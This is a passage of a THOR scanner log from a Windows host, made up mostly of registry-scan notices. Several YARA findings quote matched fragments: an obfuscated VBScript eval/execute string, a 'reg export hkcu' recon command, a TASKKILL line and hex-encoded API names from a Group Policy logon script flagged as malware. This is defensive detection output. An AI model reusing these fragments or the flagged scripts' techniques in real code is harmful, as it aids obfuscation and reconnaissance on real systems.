"dKIycFuHyDPsTMVmtgTswbKwgIIbIIqhNXglbTpgJfh\x0d\x0aeVaL(exeCuTe(LazqXiUqjYgRjCtsMHUWZAcYyOoBUMTvgeSfssmbRjkMgkBxOV" at 0xfcf RULEDATE_2: 2018-04-17 TAGS_2: ANOMALY, CASING, SCRIPT, SUSP, T1027, T1059 RULENAME_2: Casing_Anomaly_Execute AUTHOR_2: Florian Roth REASONS_COUNT: 3
Sep 10 12:15:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Program Files\WindowsApps\Microsoft.GamingApp_2408.1001.14.0_x64__8wekyb3d8bbwe\registry.dat
Sep 10 12:20:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Program Files (x86)\Microsoft\Edge\Application\128.0.2739.54\Edge.dat
Sep 10 12:20:33 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Program Files (x86)\Microsoft\Edge\Application\128.0.2739.54\EdgeWebView.dat
Sep 10 12:20:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Program Files (x86)\Microsoft\EdgeUpdate\1.3.195.15\EdgeUpdate.dat
Sep 10 12:20:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Possibly Dangerous file found SCANID: S-BxzYg1khKSI SCORE: 65 FILE: E:\Program Files (x86)\Xen PV Drivers\bin\uninstall.vbs EXT: .vbs TYPE: UNKNOWN SIZE: 22629 MD5: 3d6d446ec72e3cdb1ea1ecbc46096d1d SHA1: 504348cda8cd251305cf2c78a5db4f6a6c262daf SHA256: 9283fe80c7c1e5dd20d63e5a9ef5415f762462958ccfc1897951b6c45cafc5c4 FIRSTBYTES: 2727272727272727272727272727272727272727 / '''''''''''''''''''' CREATED: Thu Oct 20 13:10:58.000 2016 MODIFIED: Thu Oct 20 13:10:58.000 2016 ACCESSED: Tue Jul 23 12:54:33.068 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM REASON_1: YARA rule SUSP_Recon_Command_Combo_Jun21_1 / Detects suspicious combination of commands often used in Pentest reconnaissance script SUBSCORE_1: 65 REF_1: https://twitter.com/johnlatwc/status/1407350783973236755?s=12 SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "reg export " in "0 Then\x0d\x0a   \x09        result=objWScript.run(\"cmd /c reg export hkcu \" & Chr(34) & PROGRAMFILES & \"\\Xen Backup\\reg" at 0xb3e Str2: ".ExecQuery(" in "& \"\\root\\cimv2\")\x0d\x0a    Set colItems = objWMIService.ExecQuery(\"Select * from Win32_OperatingSystem\")\x0d\x0a\x0d\x0a    For " at 0x4b3f Str3: "Chr(34)" in "\x0d\x0aREG_INI_FILE=PROGRAMFILES & \"\\reg.ini\"\x0d\x0aREG_INI=Chr(34) & PROGRAMFILES & \"\\reg.ini\" & Chr(34)\x0d\x0aOEMPath=PR" at 0x276 RULEDATE_1: 2021-06-22 TAGS_1: ANOMALY, SCRIPT, SUSP, T1105, T1197 RULENAME_1: SUSP_Recon_Command_Combo_Jun21_1 AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:20:57 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 40 FILE: E:\Program Files (x86)\virtio\monitor\vm-agent-daemon.exe EXT: .exe TYPE: EXE SIZE: 136704 MD5: c620467b186971c63636c5be930a3b7a SHA1: a954d0d6fce52ccd44775c03ce79f98df1cd18ef SHA256: 590b8bf59dcbe9c0a5492cbc26a288a35bebe543c61ecd0b78007ed579117357 FIRSTBYTES: 4d5a90000300000004000000ffff0000b8000000 / MZ CREATED: Wed May  8 17:05:10.000 2019 MODIFIED: Wed May  8 17:05:10.000 2019 ACCESSED: Tue Sep  3 13:11:26.649 2024 PERMISSIONS: APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:R / APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:R / BUILTIN\Administrators:F / BUILTIN\Users:R / NT AUTHORITY\SYSTEM:F OWNER: NT AUTHORITY\SYSTEM IMPHASH: 2d74ef92f75a2cb8b74d1bf89f0c23d4 REASON_1: YARA rule EXE_Susp_Cmds / Detects suspicious Windows command line commands in Executables SUBSCORE_1: 40 REF_1: Internal Research SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "TASKKILL /F /IM" in "\x00\x00\x00enable_disable_serial_dev cmd=%s\x00\x00\x00\x00Cmd.exe /C TASKKILL /F /IM vm-agent.exe\x00stop vm-agent service successfully!\x00" at 0x1dbaf RULEDATE_1: 2017-11-11 TAGS_1: EXE, FILE, HIGHVOL, SUSP, T1053_005, T1087_001, T1562_001 RULENAME_1: EXE_Susp_Cmds AUTHOR_1: Florian Roth REASONS_COUNT: 1
Sep 10 12:21:01 WIN-LRTT94FA08M/10.100.5.12 THOR: Warning: MODULE: Filescan MESSAGE: Malware file found SCANID: S-BxzYg1khKSI SCORE: 82 FILE: E:\ProgramData\Microsoft\GroupPolicy\Users\S-1-5-21-2213792943-3978625667-3641601853-1124\DataStore\0\SysVol\MercuryLark.corp\Policies\{0D3199A7-9F17-4413-8579-06CECEBB3E24}\User\Scripts\Logon\UpdatePersonalCert.ps1 EXT: .ps1 TYPE: UNKNOWN SIZE: 24206121 MD5: 25a653651b05df0c47bdc2d25991137a SHA1: f07d752e447d6f0b2017fb6e808b4a303409f582 SHA256: 83660986b748a08270afbf2636b7a6706f3d74229a3ee4b27f5286859ab2ed9f FIRSTBYTES: 2320446566696e6520746865206865782d656e63 / # Define the hex-enc CREATED: Tue Sep  3 12:20:56.121 2024 MODIFIED: Mon Sep  2 17:42:49.000 2024 ACCESSED: Tue Sep  3 16:40:39.685 2024 PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F OWNER: BUILTIN\Administrators REASON_1: YARA rule SUSP_Encoded_GetCurrentThreadId_FileOnly / Detects encoded keyword - GetCurrentThreadId SUBSCORE_1: 70 REF_1: Internal Research - Permutator SIGTYPE_1: internal SIGCLASS_1: YARA Rule MATCHED_1: Str1: "47657443757272656e745468726561644964" in "75657279506572666f726d616e6365436f756e74657200370247657443757272656e74546872656164496400000a0347657453797374656d54696d65417346696c655469" at 0x78de0 RULEDATE_1: 2021-01-19 TAGS_1: SCRIPT, SUSP, T1027 RULENAME_1: SUSP_Encoded_GetCurrentThreadId_FileOnly AUTHOR_1: Florian Roth REASON_2: YARA rule SUSP_Encoded_GetProcAddress / Detects encoded keyword - GetProcAddress SUBSCORE_2: 60 REF_2: Internal Research - Permutator SIGTYPE_2: internal SIGCLASS_2: YARA Rule MATCHED_2: Str1: "47657450726f6341646472657373" in "00010143726561746553796d626f6c69634c696e6b5700cd0247657450726f63416464726573730000c9004372656174654469726563746f7279570000f10147" at 0x78660 Str2: "470065007400500072006f00630041006400640072006500730073" in "007300200066006f00720020002500680073000a0000000000470065007400500072006f00630041006400640072006500730073000000000050795f4465636f64654c6f63616c650050795f45" at 0x576dc RULEDATE_2: 2019-03-03 TAGS_2: FILE, SUSP, T1027 RULENAME_2: SUSP_Encoded_GetProcAddress AUTHOR_2: Florian Roth REASONS_COUNT: 3
Sep 10 12:21:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat
Sep 10 12:21:03 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Provisioning\Microsoft-Desktop-Provisioning-Sequence.dat.LOG1
Sep 10 12:21:07 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Clipchamp.Clipchamp_3.1.11520.0_neutral__yxz26nhyzhsrt\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Clipchamp.Clipchamp_3.1.11520.0_neutral__yxz26nhyzhsrt\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.19640.1000_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.549981C3F5F10_4.2308.1005.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.549981C3F5F10_4.2308.1005.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AAD.BrokerPlugin_1000.19580.1000.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AAD.BrokerPlugin_1000.19580.1000.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AccountsControl_10.0.22621.1_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AccountsControl_10.0.22621.1_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AsyncTextService_10.0.22621.1_neutral__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.AsyncTextService_10.0.22621.1_neutral__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingNews_4.55.62231.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingNews_4.55.62231.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingWeather_4.53.62131.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BingWeather_4.53.62131.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.BioEnrollment_10.0.19587.1000_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.CredDialogHost_10.0.19595.1001_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.DesktopAppInstaller_1.23.1911.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.DesktopAppInstaller_1.23.1911.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:08 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ECApp_10.0.22621.3810_neutral__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ECApp_10.0.22621.3810_neutral__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.GamingApp_2408.1001.14.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.GetHelp_10.2403.20861.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.GetHelp_10.2403.20861.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Getstarted_10.2312.1.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Getstarted_10.2312.1.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.LockApp_10.0.22621.3235_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.LockApp_10.0.22621.3235_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftOfficeHub_18.2408.1212.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftOfficeHub_18.2408.1212.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftSolitaireCollection_4.20.8260.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftSolitaireCollection_4.20.8260.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftStickyNotes_4.0.6102.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:09 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.MicrosoftStickyNotes_4.0.6102.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Paint_11.2406.42.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Paint_11.2406.42.0_x64__8wekyb3d8bbwe\MsixRegistryCompatibility.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.People_10.2202.100.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.People_10.2202.100.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ScreenSketch_11.2407.3.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.ScreenSketch_11.2407.3.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.SecHealthUI_1000.25992.9000.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.SecHealthUI_1000.25992.9000.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Services.Store.Engagement_10.0.23012.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Services.Store.Engagement_10.0.23012.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Services.Store.Engagement_10.0.23012.0_x86__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.StorePurchaseApp_22407.1401.0.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.StorePurchaseApp_22407.1401.0.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Todos_0.114.7122.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Todos_0.114.7122.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.4_2.42007.9001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.4_2.42007.9001.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.7_7.2208.15002.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.7_7.2208.15002.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:10 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.7_7.2208.15002.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.7_7.2208.15002.0_x86__8wekyb3d8bbwe\ActivationStore.dat.LOG1
